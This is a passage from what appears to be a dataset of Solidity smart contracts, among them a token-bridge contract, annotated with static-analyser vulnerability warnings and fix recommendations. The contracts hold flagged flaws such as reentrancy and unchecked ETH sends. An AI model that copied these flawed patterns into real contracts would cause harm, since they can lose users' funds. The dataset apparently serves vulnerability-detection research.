IERC20(uniswapV2Pair).approve(address(uniswapV2Router),type()(uint256).max)\n\t// Recommendation for 1062ae5: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: f187a2f): AUTISM.enableTrading() ignores return value by uniswapV2Router.addLiquidityETH{value address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp)\n\t// Recommendation for f187a2f: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 07cbc29): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 07cbc29: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function enableTrading() external onlyOwner {\n require(!tradingOpen, \"trading is already open\");\n\n\t\t// reentrancy-benign | ID: 56af650\n\t\t// unused-return | ID: f187a2f\n\t\t// reentrancy-eth | ID: 07cbc29\n uniswapV2Router.addLiquidityETH{value: address(this).balance}(\n address(this),\n balanceOf(address(this)),\n 0,\n 0,\n owner(),\n block.timestamp\n );\n\n\t\t// reentrancy-benign | ID: 56af650\n\t\t// unused-return | ID: 1062ae5\n\t\t// reentrancy-eth | ID: 07cbc29\n IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);\n\n\t\t// reentrancy-benign | ID: 56af650\n swapEnabled = true;\n\n\t\t// reentrancy-eth | ID: 07cbc29\n tradingOpen = true;\n\n\t\t// reentrancy-benign | ID: 56af650\n firstBlock = block.number;\n }\n\n receive() external payable {}\n}\n",
"file_name": "solidity_code_10231.sol",
"size_bytes": 23120,
"vulnerability": 4
} |
{
"code": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.0;\n\ninterface IERC20 {\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n\n function totalSupply() external view returns (uint256);\n\n function balanceOf(address account) external view returns (uint256);\n\n function transfer(address to, uint256 amount) external returns (bool);\n\n function allowance(\n address owner,\n address spender\n ) external view returns (uint256);\n\n function approve(address spender, uint256 amount) external returns (bool);\n\n function transferFrom(\n address from,\n address to,\n uint256 amount\n ) external returns (bool);\n}\n\ninterface IERC20Permit {\n function permit(\n address owner,\n address spender,\n uint256 value,\n uint256 deadline,\n uint8 v,\n bytes32 r,\n bytes32 s\n ) external;\n\n function nonces(address owner) external view returns (uint256);\n\n function DOMAIN_SEPARATOR() external view returns (bytes32);\n}\n\nlibrary Address {\n function isContract(address account) internal view returns (bool) {\n return account.code.length > 0;\n }\n\n function sendValue(address payable recipient, uint256 amount) internal {\n require(\n address(this).balance >= amount,\n \"Address: insufficient balance\"\n );\n\n (bool success, ) = recipient.call{value: amount}(\"\");\n\n require(\n success,\n \"Address: unable to send value, recipient may have reverted\"\n );\n }\n\n function functionCall(\n address target,\n bytes memory data\n ) internal returns (bytes memory) {\n return\n functionCallWithValue(\n target,\n data,\n 0,\n \"Address: low-level call failed\"\n );\n }\n\n function functionCall(\n address target,\n bytes memory data,\n string memory errorMessage\n ) internal returns (bytes memory) {\n return functionCallWithValue(target, data, 0, errorMessage);\n }\n\n function functionCallWithValue(\n address target,\n bytes memory data,\n uint256 value\n ) internal returns (bytes memory) {\n return\n functionCallWithValue(\n target,\n data,\n value,\n \"Address: low-level call with value failed\"\n );\n }\n\n function functionCallWithValue(\n address target,\n bytes memory data,\n uint256 value,\n string memory errorMessage\n ) internal returns (bytes memory) {\n require(\n address(this).balance >= value,\n \"Address: insufficient balance for call\"\n );\n\n (bool success, bytes memory returndata) = target.call{value: value}(\n data\n );\n\n return\n verifyCallResultFromTarget(\n target,\n success,\n returndata,\n errorMessage\n );\n }\n\n function functionStaticCall(\n address target,\n bytes memory data\n ) internal view returns (bytes memory) {\n return\n functionStaticCall(\n target,\n data,\n \"Address: low-level static call failed\"\n );\n }\n\n function functionStaticCall(\n address target,\n bytes memory data,\n string memory errorMessage\n ) internal view returns (bytes memory) {\n (bool success, bytes memory returndata) = target.staticcall(data);\n\n return\n verifyCallResultFromTarget(\n target,\n success,\n returndata,\n errorMessage\n );\n }\n\n function functionDelegateCall(\n address target,\n bytes memory data\n ) internal returns (bytes memory) {\n return\n functionDelegateCall(\n target,\n data,\n \"Address: low-level delegate call failed\"\n );\n }\n\n function functionDelegateCall(\n address target,\n bytes memory data,\n string memory errorMessage\n ) internal returns (bytes memory) {\n (bool success, bytes memory returndata) = target.delegatecall(data);\n\n return\n verifyCallResultFromTarget(\n target,\n success,\n returndata,\n errorMessage\n );\n }\n\n function verifyCallResultFromTarget(\n address target,\n bool success,\n bytes memory returndata,\n string memory errorMessage\n ) internal view returns (bytes memory) {\n if (success) {\n if (returndata.length == 0) {\n require(isContract(target), \"Address: call to non-contract\");\n }\n\n return returndata;\n } else {\n _revert(returndata, errorMessage);\n }\n }\n\n function verifyCallResult(\n bool success,\n bytes memory returndata,\n string memory errorMessage\n ) internal pure returns (bytes memory) {\n if (success) {\n return returndata;\n } else {\n _revert(returndata, errorMessage);\n }\n }\n\n function _revert(\n bytes memory returndata,\n string memory errorMessage\n ) private pure {\n if (returndata.length > 0) {\n assembly {\n let returndata_size := mload(returndata)\n\n revert(add(32, returndata), returndata_size)\n }\n } else {\n revert(errorMessage);\n }\n }\n}\n\nlibrary SafeERC20 {\n using Address for address;\n\n function safeTransfer(IERC20 token, address to, uint256 value) internal {\n _callOptionalReturn(\n token,\n abi.encodeWithSelector(token.transfer.selector, to, value)\n );\n }\n\n function safeTransferFrom(\n IERC20 token,\n address from,\n address to,\n uint256 value\n ) internal {\n _callOptionalReturn(\n token,\n abi.encodeWithSelector(token.transferFrom.selector, from, to, value)\n );\n }\n\n function safeApprove(\n IERC20 token,\n address spender,\n uint256 value\n ) internal {\n require(\n (value == 0) || (token.allowance(address(this), spender) == 0),\n \"SafeERC20: approve from non-zero to non-zero allowance\"\n );\n\n _callOptionalReturn(\n token,\n abi.encodeWithSelector(token.approve.selector, spender, value)\n );\n }\n\n function safeIncreaseAllowance(\n IERC20 token,\n address spender,\n uint256 value\n ) internal {\n uint256 oldAllowance = token.allowance(address(this), spender);\n\n _callOptionalReturn(\n token,\n abi.encodeWithSelector(\n token.approve.selector,\n spender,\n oldAllowance + value\n )\n );\n }\n\n function safeDecreaseAllowance(\n IERC20 token,\n address spender,\n uint256 value\n ) internal {\n unchecked {\n uint256 oldAllowance = token.allowance(address(this), spender);\n\n require(\n oldAllowance >= value,\n \"SafeERC20: decreased allowance below zero\"\n );\n\n _callOptionalReturn(\n token,\n abi.encodeWithSelector(\n token.approve.selector,\n spender,\n oldAllowance - value\n )\n );\n }\n }\n\n function forceApprove(\n IERC20 token,\n address spender,\n uint256 value\n ) internal {\n bytes memory approvalCall = abi.encodeWithSelector(\n token.approve.selector,\n spender,\n value\n );\n\n if (!_callOptionalReturnBool(token, approvalCall)) {\n _callOptionalReturn(\n token,\n abi.encodeWithSelector(token.approve.selector, spender, 0)\n );\n\n _callOptionalReturn(token, approvalCall);\n }\n }\n\n function safePermit(\n IERC20Permit token,\n address owner,\n address spender,\n uint256 value,\n uint256 deadline,\n uint8 v,\n bytes32 r,\n bytes32 s\n ) internal {\n uint256 nonceBefore = token.nonces(owner);\n\n token.permit(owner, spender, value, deadline, v, r, s);\n\n uint256 nonceAfter = token.nonces(owner);\n\n require(\n nonceAfter == nonceBefore + 1,\n \"SafeERC20: permit did not succeed\"\n );\n }\n\n function _callOptionalReturn(IERC20 token, bytes memory data) private {\n bytes memory returndata = address(token).functionCall(\n data,\n \"SafeERC20: low-level call failed\"\n );\n\n require(\n returndata.length == 0 || abi.decode(returndata, (bool)),\n \"SafeERC20: ERC20 operation did not succeed\"\n );\n }\n\n function _callOptionalReturnBool(\n IERC20 token,\n bytes memory data\n ) private returns (bool) {\n (bool success, bytes memory returndata) = address(token).call(data);\n\n return\n success &&\n (returndata.length == 0 || abi.decode(returndata, (bool))) &&\n Address.isContract(address(token));\n }\n}\n\nlibrary SafeMath {\n function tryAdd(\n uint256 a,\n uint256 b\n ) internal pure returns (bool, uint256) {\n unchecked {\n uint256 c = a + b;\n\n if (c < a) return (false, 0);\n\n return (true, c);\n }\n }\n\n function trySub(\n uint256 a,\n uint256 b\n ) internal pure returns (bool, uint256) {\n unchecked {\n if (b > a) return (false, 0);\n\n return (true, a - b);\n }\n }\n\n function tryMul(\n uint256 a,\n uint256 b\n ) internal pure returns (bool, uint256) {\n unchecked {\n if (a == 0) return (true, 0);\n\n uint256 c = a * b;\n\n if (c / a != b) return (false, 0);\n\n return (true, c);\n }\n }\n\n function tryDiv(\n uint256 a,\n uint256 b\n ) internal pure returns (bool, uint256) {\n unchecked {\n if (b == 0) return (false, 0);\n\n return (true, a / b);\n }\n }\n\n function tryMod(\n uint256 a,\n uint256 b\n ) internal pure returns (bool, uint256) {\n unchecked {\n if (b == 0) return (false, 0);\n\n return (true, a % b);\n }\n }\n\n function add(uint256 a, uint256 b) internal pure returns (uint256) {\n return a + b;\n }\n\n function sub(uint256 a, uint256 b) internal pure returns (uint256) {\n return a - b;\n }\n\n function mul(uint256 a, uint256 b) internal pure returns (uint256) {\n return a * b;\n }\n\n function div(uint256 a, uint256 b) internal pure returns (uint256) {\n return a / b;\n }\n\n function mod(uint256 a, uint256 b) internal pure returns (uint256) {\n return a % b;\n }\n\n function sub(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n unchecked {\n require(b <= a, errorMessage);\n\n return a - b;\n }\n }\n\n function div(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n unchecked {\n require(b > 0, errorMessage);\n\n return a / b;\n }\n }\n\n function mod(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n unchecked {\n require(b > 0, errorMessage);\n\n return a % b;\n }\n }\n}\n\ncontract EGoldChainBridge {\n using SafeMath for uint256;\n\n using SafeERC20 for IERC20;\n\n using Address for address;\n\n struct PoolInfo {\n IERC20 token;\n uint256 amount;\n uint256 min;\n bool enabled;\n }\n\n PoolInfo[] public poolInfo;\n\n\t// WARNING Optimization Issue (immutable-states | ID: fbaff28): EGoldChainBridge.weth should be immutable \n\t// Recommendation for fbaff28: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address public weth;\n\n address public operator;\n\n uint256 public fee;\n\n uint256 public nonce;\n\n mapping(uint256 => bool) public isNonceProcessed;\n\n event Burn(\n uint256 pid,\n address indexed from,\n address indexed to,\n uint256 amount,\n uint256 targetChain,\n uint256 nonce\n );\n\n event Mint(\n uint256 pid,\n address indexed from,\n address indexed to,\n uint256 amount,\n uint256 targetChain,\n uint256 nonce\n );\n\n\t// WARNING Vulnerability (missing-zero-check | severity: Low | ID: 7a05448): EGoldChainBridge.constructor(address,address,uint256)._operator lacks a zerocheck on \t operator = _operator\n\t// Recommendation for 7a05448: Check that the address is not zero.\n\t// WARNING Vulnerability (missing-zero-check | severity: Low | ID: 7a0638c): EGoldChainBridge.constructor(address,address,uint256)._weth lacks a zerocheck on \t weth = _weth\n\t// Recommendation for 7a0638c: Check that the address is not zero.\n constructor(address _operator, address _weth, uint256 _fee) {\n\t\t// missing-zero-check | ID: 7a05448\n operator = _operator;\n\n\t\t// missing-zero-check | ID: 7a0638c\n weth = _weth;\n\n fee = _fee;\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: bc7e4f5): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for bc7e4f5: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 8537428): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 8537428: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-no-eth | severity: Medium | ID: b818e61): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that involve Ether.\n\t// Recommendation for b818e61: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (arbitrary-send-eth | severity: High | ID: c49c1a3): EGoldChainBridge.burn(uint256,uint256,uint256) sends eth to arbitrary user Dangerous calls address(operator).transfer(fee)\n\t// Recommendation for c49c1a3: Ensure that an arbitrary user cannot withdraw unauthorized funds.\n function burn(\n uint256 _pid,\n uint256 _amount,\n uint256 _target\n ) public payable {\n require(!msg.sender.isContract(), \"sender is not wallet\");\n\n PoolInfo storage pool = poolInfo[_pid];\n\n require(address(pool.token) != weth, \"pool is native\");\n\n require(pool.enabled, \"pool is not enabled\");\n\n require(_amount >= pool.min, \"less min amount\");\n\n require(msg.value == fee, \"incorrect fee\");\n\n\t\t// reentrancy-events | ID: bc7e4f5\n\t\t// reentrancy-benign | ID: 8537428\n\t\t// reentrancy-no-eth | ID: b818e61\n pool.token.safeTransferFrom(msg.sender, address(this), _amount);\n\n\t\t// reentrancy-no-eth | ID: b818e61\n pool.amount = IERC20(pool.token).balanceOf(address(this));\n\n\t\t// reentrancy-events | ID: bc7e4f5\n\t\t// arbitrary-send-eth | ID: c49c1a3\n payable(operator).transfer(fee);\n\n\t\t// reentrancy-events | ID: bc7e4f5\n emit Burn(_pid, msg.sender, address(this), _amount, _target, nonce);\n\n\t\t// reentrancy-benign | ID: 8537428\n nonce++;\n }\n\n\t// WARNING Vulnerability (arbitrary-send-eth | severity: High | ID: 99241a8): EGoldChainBridge.burnETH(uint256,uint256) sends eth to arbitrary user Dangerous calls address(operator).transfer(fee)\n\t// Recommendation for 99241a8: Ensure that an arbitrary user cannot withdraw unauthorized funds.\n function burnETH(uint256 _pid, uint256 _target) public payable {\n require(!msg.sender.isContract(), \"sender is not wallet\");\n\n PoolInfo storage pool = poolInfo[_pid];\n\n require(address(pool.token) == weth, \"pool is not native\");\n\n require(pool.enabled, \"pool is not enabled\");\n\n require(msg.value >= pool.min + fee, \"less min amount\");\n\n\t\t// arbitrary-send-eth | ID: 99241a8\n payable(operator).transfer(fee);\n\n pool.amount = uint256(address(this).balance);\n\n emit Burn(\n _pid,\n msg.sender,\n address(this),\n msg.value - fee,\n _target,\n nonce\n );\n\n nonce++;\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: b3e6ea0): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for b3e6ea0: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-no-eth | severity: Medium | ID: 9da1f1f): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that involve Ether.\n\t// Recommendation for 9da1f1f: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function mint(\n uint256 _pid,\n uint256 _amount,\n address _reciever,\n uint256 _target,\n uint256 _nonce\n ) external {\n require(msg.sender == operator, \"only operator\");\n\n require(!_reciever.isContract(), \"receiver is not wallet\");\n\n PoolInfo storage pool = poolInfo[_pid];\n\n require(address(pool.token) != weth, \"pool is native\");\n\n require(pool.enabled, \"pool is not enabled\");\n\n require(\n IERC20(pool.token).balanceOf(address(this)) >= _amount,\n \"not enough pool amount\"\n );\n\n require(_amount >= pool.min, \"less min amount\");\n\n require(\n isNonceProcessed[_nonce] == false,\n \"transfer already processed\"\n );\n\n isNonceProcessed[_nonce] = true;\n\n\t\t// reentrancy-events | ID: b3e6ea0\n\t\t// reentrancy-no-eth | ID: 9da1f1f\n pool.token.safeTransfer(_reciever, _amount);\n\n\t\t// reentrancy-no-eth | ID: 9da1f1f\n pool.amount = IERC20(pool.token).balanceOf(address(this));\n\n\t\t// reentrancy-events | ID: b3e6ea0\n emit Mint(_pid, msg.sender, _reciever, _amount, _target, _nonce);\n }\n\n function mintETH(\n uint256 _pid,\n uint256 _amount,\n address _reciever,\n uint256 _target,\n uint256 _nonce\n ) external {\n require(msg.sender == operator, \"only operator\");\n\n require(!_reciever.isContract(), \"receiver is not wallet\");\n\n PoolInfo storage pool = poolInfo[_pid];\n\n require(address(pool.token) == weth, \"pool is not native\");\n\n require(pool.enabled, \"pool is not enabled\");\n\n require(\n uint256(address(this).balance) >= _amount,\n \"not enough pool amount\"\n );\n\n require(_amount >= pool.min, \"less min amount\");\n\n require(\n isNonceProcessed[_nonce] == false,\n \"transfer already processed\"\n );\n\n isNonceProcessed[_nonce] = true;\n\n payable(_reciever).transfer(_amount);\n\n pool.amount = uint256(address(this).balance);\n\n emit Mint(_pid, msg.sender, _reciever, _amount, _target, _nonce);\n }\n\n function addPool(address _token, uint256 _min) external {\n require(msg.sender == operator, \"only operator\");\n\n poolInfo.push(\n PoolInfo({\n token: IERC20(_token),\n amount: IERC20(_token).balanceOf(address(this)),\n min: _min,\n enabled: true\n })\n );\n }\n\n function updatePool(uint256 _pid, uint256 _min, bool _enabled) external {\n require(msg.sender == operator, \"only operator\");\n\n PoolInfo storage pool = poolInfo[_pid];\n\n pool.min = _min;\n\n pool.enabled = _enabled;\n }\n\n\t// WARNING Vulnerability (missing-zero-check | severity: Low | ID: ca41536): EGoldChainBridge.updateOperator(address)._operator lacks a zerocheck on \t operator = _operator\n\t// Recommendation for ca41536: Check that the address is not zero.\n function updateOperator(address _operator) external {\n require(msg.sender == operator, \"only operator\");\n\n\t\t// missing-zero-check | ID: ca41536\n operator = _operator;\n }\n\n\t// WARNING Vulnerability (events-maths | severity: Low | ID: dce6f28): EGoldChainBridge.updateFee(uint256) should emit an event for fee = _fee \n\t// Recommendation for dce6f28: Emit an event for critical parameter changes.\n function updateFee(uint256 _fee) external {\n require(msg.sender == operator, \"only operator\");\n\n\t\t// events-maths | ID: dce6f28\n fee = _fee;\n }\n}\n",
"file_name": "solidity_code_10232.sol",
"size_bytes": 21627,
"vulnerability": 4
} |
{
"code": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.0;\n\nabstract contract Context {\n function _msgSender() internal view virtual returns (address) {\n return msg.sender;\n }\n\n function _msgData() internal view virtual returns (bytes calldata) {\n this;\n\n return msg.data;\n }\n}\n\ninterface IUniswapV2Pair {\n event Approval(address indexed owner, address indexed spender, uint value);\n\n event Transfer(address indexed from, address indexed to, uint value);\n\n function name() external pure returns (string memory);\n\n function symbol() external pure returns (string memory);\n\n function decimals() external pure returns (uint8);\n\n function totalSupply() external view returns (uint);\n\n function balanceOf(address owner) external view returns (uint);\n\n function allowance(\n address owner,\n address spender\n ) external view returns (uint);\n\n function approve(address spender, uint value) external returns (bool);\n\n function transfer(address to, uint value) external returns (bool);\n\n function transferFrom(\n address from,\n address to,\n uint value\n ) external returns (bool);\n\n function DOMAIN_SEPARATOR() external view returns (bytes32);\n\n function PERMIT_TYPEHASH() external pure returns (bytes32);\n\n function nonces(address owner) external view returns (uint);\n\n function permit(\n address owner,\n address spender,\n uint value,\n uint deadline,\n uint8 v,\n bytes32 r,\n bytes32 s\n ) external;\n\n event Mint(address indexed sender, uint amount0, uint amount1);\n\n event Burn(\n address indexed sender,\n uint amount0,\n uint amount1,\n address indexed to\n );\n\n event Swap(\n address indexed sender,\n uint amount0In,\n uint amount1In,\n uint amount0Out,\n uint amount1Out,\n address indexed to\n );\n\n event Sync(uint112 reserve0, uint112 reserve1);\n\n function MINIMUM_LIQUIDITY() external pure returns (uint);\n\n function factory() external view returns (address);\n\n function token0() external view returns (address);\n\n function token1() external view returns (address);\n\n function getReserves()\n external\n view\n returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast);\n\n function price0CumulativeLast() external view returns (uint);\n\n function price1CumulativeLast() external view returns (uint);\n\n function kLast() external view returns (uint);\n\n function mint(address to) external returns (uint liquidity);\n\n function burn(address to) external returns (uint amount0, uint amount1);\n\n function swap(\n uint amount0Out,\n uint amount1Out,\n address to,\n bytes calldata data\n ) external;\n\n function skim(address to) external;\n\n function sync() external;\n\n function initialize(address, address) external;\n}\n\ninterface IUniswapV2Factory {\n event PairCreated(\n address indexed token0,\n address indexed token1,\n address pair,\n uint\n );\n\n function feeTo() external view returns (address);\n\n function feeToSetter() external view returns (address);\n\n function getPair(\n address tokenA,\n address tokenB\n ) external view returns (address pair);\n\n function allPairs(uint) external view returns (address pair);\n\n function allPairsLength() external view returns (uint);\n\n function createPair(\n address tokenA,\n address tokenB\n ) external returns (address pair);\n\n function setFeeTo(address) external;\n\n function setFeeToSetter(address) external;\n}\n\ninterface IERC20 {\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 2910146): Contract.constructor().totalSupply shadows ERC20.totalSupply() (function) IERC20.totalSupply() (function)\n\t// Recommendation for 2910146: Rename the local variables that shadow another component.\n function totalSupply() external view returns (uint256);\n\n function balanceOf(address account) external view returns (uint256);\n\n function transfer(\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n function allowance(\n address owner,\n address spender\n ) external view returns (uint256);\n\n function approve(address spender, uint256 amount) external returns (bool);\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n}\n\ninterface IERC20Metadata is IERC20 {\n function name() external view returns (string memory);\n\n function symbol() external view returns (string memory);\n\n function decimals() external view returns (uint8);\n}\n\ncontract ERC20 is Context, IERC20, IERC20Metadata {\n using SafeMath for uint256;\n\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n uint256 private _totalSupply;\n\n string private _name;\n\n string private _symbol;\n\n constructor(string memory name_, string memory symbol_) {\n _name = name_;\n\n _symbol = symbol_;\n }\n\n function name() public view virtual override returns (string memory) {\n return _name;\n }\n\n function symbol() public view virtual override returns (string memory) {\n return _symbol;\n }\n\n function decimals() public view virtual override returns (uint8) {\n return 18;\n }\n\n function totalSupply() public view virtual override returns (uint256) {\n return _totalSupply;\n }\n\n function balanceOf(\n address account\n ) public view virtual override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n function allowance(\n address owner,\n address spender\n ) public view virtual override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public virtual override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(sender, recipient, amount);\n\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n function increaseAllowance(\n address spender,\n uint256 addedValue\n ) public virtual returns (bool) {\n _approve(\n _msgSender(),\n spender,\n _allowances[_msgSender()][spender].add(addedValue)\n );\n\n return true;\n }\n\n function decreaseAllowance(\n address spender,\n uint256 subtractedValue\n ) public virtual returns (bool) {\n _approve(\n _msgSender(),\n spender,\n _allowances[_msgSender()][spender].sub(\n subtractedValue,\n \"ERC20: decreased allowance below zero\"\n )\n );\n\n return true;\n }\n\n function _transfer(\n address sender,\n address recipient,\n uint256 amount\n ) internal virtual {\n require(sender != address(0), \"ERC20: transfer from the zero address\");\n\n require(recipient != address(0), \"ERC20: transfer to the zero address\");\n\n _beforeTokenTransfer(sender, recipient, amount);\n\n\t\t// reentrancy-eth | ID: 19c8570\n _balances[sender] = _balances[sender].sub(\n amount,\n \"ERC20: transfer amount exceeds balance\"\n );\n\n\t\t// reentrancy-eth | ID: 19c8570\n _balances[recipient] = _balances[recipient].add(amount);\n\n\t\t// reentrancy-events | ID: 9f0cbcd\n emit Transfer(sender, recipient, amount);\n }\n\n function _mint(address account, uint256 amount) internal virtual {\n require(account != address(0), \"ERC20: mint to the zero address\");\n\n _beforeTokenTransfer(address(0), account, amount);\n\n _totalSupply = _totalSupply.add(amount);\n\n _balances[account] = _balances[account].add(amount);\n\n emit Transfer(address(0), account, amount);\n }\n\n function _burn(address account, uint256 amount) internal virtual {\n require(account != address(0), \"ERC20: burn from the zero address\");\n\n _beforeTokenTransfer(account, address(0), amount);\n\n _balances[account] = _balances[account].sub(\n amount,\n \"ERC20: burn amount exceeds balance\"\n );\n\n _totalSupply = _totalSupply.sub(amount);\n\n emit Transfer(account, address(0), amount);\n }\n\n function _approve(\n address owner,\n address spender,\n uint256 amount\n ) internal virtual {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n _allowances[owner][spender] = amount;\n\n emit Approval(owner, spender, amount);\n }\n\n function _beforeTokenTransfer(\n address from,\n address to,\n uint256 amount\n ) internal virtual {}\n}\n\nlibrary SafeMath {\n function add(uint256 a, uint256 b) internal pure returns (uint256) {\n uint256 c = a + b;\n\n require(c >= a, \"SafeMath: addition overflow\");\n\n return c;\n }\n\n function sub(uint256 a, uint256 b) internal pure returns (uint256) {\n return sub(a, b, \"SafeMath: subtraction overflow\");\n }\n\n function sub(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b <= a, errorMessage);\n\n uint256 c = a - b;\n\n return c;\n }\n\n function mul(uint256 a, uint256 b) internal pure returns (uint256) {\n if (a == 0) {\n return 0;\n }\n\n uint256 c = a * b;\n\n require(c / a == b, \"SafeMath: multiplication overflow\");\n\n return c;\n }\n\n function div(uint256 a, uint256 b) internal pure returns (uint256) {\n return div(a, b, \"SafeMath: division by zero\");\n }\n\n function div(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b > 0, errorMessage);\n\n uint256 c = a / b;\n\n return c;\n }\n\n function mod(uint256 a, uint256 b) internal pure returns (uint256) {\n return mod(a, b, \"SafeMath: modulo by zero\");\n }\n\n function mod(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b != 0, errorMessage);\n\n return a % b;\n }\n}\n\ncontract Ownable is Context {\n address private _owner;\n\n event OwnershipTransferred(\n address indexed previousOwner,\n address indexed newOwner\n );\n\n constructor() {\n address msgSender = _msgSender();\n\n _owner = msgSender;\n\n emit OwnershipTransferred(address(0), msgSender);\n }\n\n function owner() public view returns (address) {\n return _owner;\n }\n\n modifier onlyOwner() {\n require(_owner == _msgSender(), \"Ownable: caller is not the owner\");\n\n _;\n }\n\n function renounceOwnership() public virtual onlyOwner {\n emit OwnershipTransferred(_owner, address(0));\n\n _owner = address(0);\n }\n\n function transferOwnership(address newOwner) public virtual onlyOwner {\n require(\n newOwner != address(0),\n \"Ownable: new owner is the zero address\"\n );\n\n emit OwnershipTransferred(_owner, newOwner);\n\n _owner = newOwner;\n }\n}\n\nlibrary SafeMathInt {\n int256 private constant MIN_INT256 = int256(1) << 255;\n\n int256 private constant MAX_INT256 = ~(int256(1) << 255);\n\n function mul(int256 a, int256 b) internal pure returns (int256) {\n int256 c = a * b;\n\n require(c != MIN_INT256 || (a & MIN_INT256) != (b & MIN_INT256));\n\n require((b == 0) || (c / b == a));\n\n return c;\n }\n\n function div(int256 a, int256 b) internal pure returns (int256) {\n require(b != -1 || a != MIN_INT256);\n\n return a / b;\n }\n\n function sub(int256 a, int256 b) internal pure returns (int256) {\n int256 c = a - b;\n\n require((b >= 0 && c <= a) || (b < 0 && c > a));\n\n return c;\n }\n\n function add(int256 a, int256 b) internal pure returns (int256) {\n int256 c = a + b;\n\n require((b >= 0 && c >= a) || (b < 0 && c < a));\n\n return c;\n }\n\n function abs(int256 a) internal pure returns (int256) {\n require(a != MIN_INT256);\n\n return a < 0 ? -a : a;\n }\n\n function toUint256Safe(int256 a) internal pure returns (uint256) {\n require(a >= 0);\n\n return uint256(a);\n }\n}\n\nlibrary SafeMathUint {\n function toInt256Safe(uint256 a) internal pure returns (int256) {\n int256 b = int256(a);\n\n require(b >= 0);\n\n return b;\n }\n}\n\ninterface IUniswapV2Router01 {\n function factory() external pure returns (address);\n\n function WETH() external pure returns (address);\n\n function addLiquidity(\n address tokenA,\n address tokenB,\n uint amountADesired,\n uint amountBDesired,\n uint amountAMin,\n uint amountBMin,\n address to,\n uint deadline\n ) external returns (uint amountA, uint amountB, uint liquidity);\n\n function addLiquidityETH(\n address token,\n uint amountTokenDesired,\n uint amountTokenMin,\n uint amountETHMin,\n address to,\n uint deadline\n )\n external\n payable\n returns (uint amountToken, uint amountETH, uint liquidity);\n\n function removeLiquidity(\n address tokenA,\n address tokenB,\n uint liquidity,\n uint amountAMin,\n uint amountBMin,\n address to,\n uint deadline\n ) external returns (uint amountA, uint amountB);\n\n function removeLiquidityETH(\n address token,\n uint liquidity,\n uint amountTokenMin,\n uint amountETHMin,\n address to,\n uint deadline\n ) external returns (uint amountToken, uint amountETH);\n\n function removeLiquidityWithPermit(\n address tokenA,\n address tokenB,\n uint liquidity,\n uint amountAMin,\n uint amountBMin,\n address to,\n uint deadline,\n bool approveMax,\n uint8 v,\n bytes32 r,\n bytes32 s\n ) external returns (uint amountA, uint amountB);\n\n function removeLiquidityETHWithPermit(\n address token,\n uint liquidity,\n uint amountTokenMin,\n uint amountETHMin,\n address to,\n uint deadline,\n bool approveMax,\n 